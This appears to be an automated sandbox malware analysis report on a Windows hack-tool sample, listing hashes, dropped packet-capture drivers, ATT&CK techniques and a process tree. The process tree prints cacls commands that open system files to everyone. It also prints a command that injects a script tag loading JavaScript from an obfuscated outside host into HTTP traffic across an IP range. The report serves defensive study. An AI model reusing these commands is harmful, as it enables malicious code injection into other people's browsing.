43c61b0d6932eb551c7d4f4eaac8858768bfa0411a54ba47ffa03c7b8afa7721

Analysis

max time kernel
148s
max time network
124s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
09/10/2026, 17:13

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
jaffacakes118_HackTool.Win32.Agent.ape.exe
Size 177KB
Sample261009-vrsheada63
SHA256 43c61b0d6932eb551c7d4f4eaac8858768bfa0411a54ba47ffa03c7b8afa7721
MD5 093a8916930e98a500dc6c9e6b9d48cd
SHA1 46f41a467299139372704a420d1aac1892d7b090
SHA512 e1e6b0cccd605e0d47bd2cf24dd8f213c097ca3521b0acf03dcbe7c3d5c365b4ae076e3d3a62abba01c29cff5bb095d33d3158b3bc38c153f35778e905b9abde
SSDEEP 3072:3sfO8bNhwVNXgjOtc5/Bbhwlqnsgw9YKWwBekAusPP5gwDC/zWSTF5rgLWAmsto7:cfO8bN2/CxuHJ+4DWH6wunTFXstoSc
TLSH
T1AE0412A256A17DACC59B85B0446FB1E49F2C172CC6423DF726E23F8B45FA2712B19D30
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

discovery execution

Malware Config

Signatures

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\drivers\npf.sys	jaffacakes118_HackTool.Win32.Agent.ape.exe

Executes dropped EXE 1 IoCs

pid	Process
2336	360uagh.exe

Loads dropped DLL 5 IoCs

pid	Process
2336	360uagh.exe
2336	360uagh.exe
2336	360uagh.exe
2336	360uagh.exe
2336	360uagh.exe

Drops file in System32 directory 4 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\Packet.dll	jaffacakes118_HackTool.Win32.Agent.ape.exe
File created	C:\Windows\SysWOW64\WanPacket.dll	jaffacakes118_HackTool.Win32.Agent.ape.exe
File created	C:\Windows\SysWOW64\wpcap.dll	jaffacakes118_HackTool.Win32.Agent.ape.exe
File created	C:\Windows\SysWOW64\360uagh.exe	jaffacakes118_HackTool.Win32.Agent.ape.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4652	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	jaffacakes118_HackTool.Win32.Agent.ape.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	jaffacakes118_HackTool.Win32.Agent.ape.exe

System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	360uagh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jaffacakes118_HackTool.Win32.Agent.ape.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 4636 wrote to memory of 5868	4636	jaffacakes118_HackTool.Win32.Agent.ape.exe	90
PID 4636 wrote to memory of 2624	4636	jaffacakes118_HackTool.Win32.Agent.ape.exe	92
PID 4636 wrote to memory of 2404	4636	jaffacakes118_HackTool.Win32.Agent.ape.exe	94
PID 4636 wrote to memory of 5956	4636	jaffacakes118_HackTool.Win32.Agent.ape.exe	96
PID 4636 wrote to memory of 4164	4636	jaffacakes118_HackTool.Win32.Agent.ape.exe	98
PID 4636 wrote to memory of 2336	4636	jaffacakes118_HackTool.Win32.Agent.ape.exe	100
PID 4636 wrote to memory of 4652	4636	jaffacakes118_HackTool.Win32.Agent.ape.exe	103

C:\Users\Admin\AppData\Local\Temp\jaffacakes118_HackTool.Win32.Agent.ape.exe
"C:\Users\Admin\AppData\Local\Temp\jaffacakes118_HackTool.Win32.Agent.ape.exe"
1⤵
- Drops file in Drivers directory
- Drops file in System32 directory
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4636
- C:\Windows\SysWOW64\cacls.exe
  "C:\Windows\system32\cacls.exe" C:\Windows\system32\drivers\npf.sys /e /p everyone:f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5868
- C:\Windows\SysWOW64\cacls.exe
  "C:\Windows\system32\cacls.exe" C:\Windows\system32\Packet.dll /e /p everyone:f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2624
- C:\Windows\SysWOW64\cacls.exe
  "C:\Windows\system32\cacls.exe" C:\Windows\system32\WanPacket.dll /e /p everyone:f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2404
- C:\Windows\SysWOW64\cacls.exe
  "C:\Windows\system32\cacls.exe" C:\Windows\system32\wpcap.dll /e /p everyone:f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5956
- C:\Windows\SysWOW64\cacls.exe
  "C:\Windows\system32\cacls.exe" C:\Windows\system32\npptools.dll /e /p everyone:f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4164
- C:\Windows\SysWOW64\360uagh.exe
  -idx 0 -ip 10.127.0.2-10.127.0.254 -port 80 -insert "<script language=JavaScript src=http://d%68j.K%77%69k.%54o/tj.js></script>"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:2336
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c 12.bat
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:4652

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

12.bat

Path C:\Users\Admin\AppData\Local\Temp\12.bat
Size 2KB
SHA256 610e62dde0a127a72fa77a3a621f9020a4b14394ff9e4bb2419db448fbdf7223
MD5 56ef8c16f5464d6306f8887c60425677
SHA1 b93818e22e084beb5c17bbf2d055451799c46a10
SHA512 39684786fae722336295e0d3c2a8a71e834dd8ef006a1e771ce4dbf69a9ea012a021e3cc77afd42c12f5c7a39a395b767cc64cdf67e83d8b1d97d01781aea389
TLSH
T1BD418C02C0C3A70BCD84237B0AFD948CC03CA8AD2A8A2F318A90C42C205204CF48AF46
MD5 SHA1 SHA512 TLSH

Submit Download

360uagh.exe

Path C:\Windows\SysWOW64\360uagh.exe
Size 8.0MB
SHA256 189f997222ca24f7d8752cc8b6855a2d299dc1a289dfc16c697177bc14abae42
MD5 f3b9e1b3ccca8c966ccae23a57e75594
SHA1 4ecfe42010483ec2d2253b8511b56a774c663d11
SHA512 a384dfa43759d6b4a0b04e7dea350908f87c19628cd75d981be018e59c9c7bd15efbde12568e828648eafd098c48056ff3b418654ea75fca313ae2231d81c68b
SSDEEP 384:mnXCGOuBIHNcJK0OxBrOBLnFc8ngeXtP5:RMItcJKBxpOBLq8nfXth
TLSH
T19E86BF33C4A82079DDD52F34CBDB811EEDC5C9588E9F8F815081A1B185AFB31142B653
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

WanPacket.dll

Path C:\Windows\SysWOW64\WanPacket.dll
Size 66KB
SHA256 384e928f13bc1c25ca16b3247d7ca942aec6834fadb05b1487f2c975678d4a9a
MD5 fdd104a9fd3427a1df37041fa947a041
SHA1 cca1881a3c02033008f78cc39b712b637c7f3e13
SHA512 9dd082eb245b443cc75b37c69f0a17e15fcb9cdb676b058d87f9805ec7a928e721a681b940fcdd56fd81da4d308f0d514870c526c4f9c715b256a97ab6bb29f7
SSDEEP 1536:aSGNdAHB86qEHMC39LTm09aydrVXsR/ljHonc:aSGNd+gUeJy/XsR/ljZ
TLSH
T194638D87658340F6CDA6077002EAFB379F3EA6050AD054935FA2C4DA1D623F3E61A347
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

packet.dll

Path C:\Windows\SysWOW64\packet.dll
Size 86KB
SHA256 b2535129b26366484c487cc2ce536d8fcfa9d1ac1dab0db9560b4532012c352c
MD5 9062aeea8cbfc4f0780bbbefad7cebcb
SHA1 c4ad39ec51ad0e84fe58f62931d13cddfde3189e
SHA512 60957548fc2272998aea518acf3b1812ed77f73e960a99ddf0d6b474b0858225286c26554bf81c00acf3cb1c77c5ce458d80e149ed4766287d7e32af9681e646
SSDEEP 1536:6PJWAF8RTKBgW/gjzlY8kIf2lMCPGXonvr:6PJW48XvlxkIf2lMCP3
TLSH
T1B7936C122B9501F2E5D10A7060FBEB33AE7FAE514FDA45934B27C8651D62273B72630B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

wpcap.dll

Path C:\Windows\SysWOW64\wpcap.dll
Size 234KB
SHA256 7e8c0119f352424c61d6fad519394924b7aedbf8bfb3557d53c2961747d4c7f3
MD5 ce842d25e5b7e6ff21a86cad9195fbe8
SHA1 d762270be089a89266b012351b52c595e260b59b
SHA512 84c23addda6ff006d4a3967b472af10a049b2a045d27d988d22153fc3ba517e21520a31eb061a2ef2abf302e365564dd4601d240ec3d5894fb96f10a9fae97d6
SSDEEP 3072:1+wGNoHei7tBdxVgyoFj9os6sir1hGHvv96GcZloj2k1UPTWp:1+wZHeSPVep6s6BCF6GfEWp
TLSH
T119349EC37EA3E07DE846413A10EB6B369E39D0551692D687FF04CC631C226A3B76275E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/2336-12-0x0000000000400000-0x000000000040F000-memory.dmp

Download

memory/2336-19-0x0000000000690000-0x00000000006A5000-memory.dmp

Download

memory/2336-24-0x0000000000400000-0x000000000040F000-memory.dmp

Download

memory/2336-23-0x0000000000550000-0x0000000000560000-memory.dmp

Download

memory/4636-4-0x0000000000400000-0x0000000000484000-memory.dmp

Download

memory/4636-2-0x0000000000400000-0x0000000000484000-memory.dmp

Download

memory/4636-0-0x0000000000400000-0x0000000000484000-memory.dmp

Download

memory/4636-1-0x0000000000400000-0x0000000000484000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads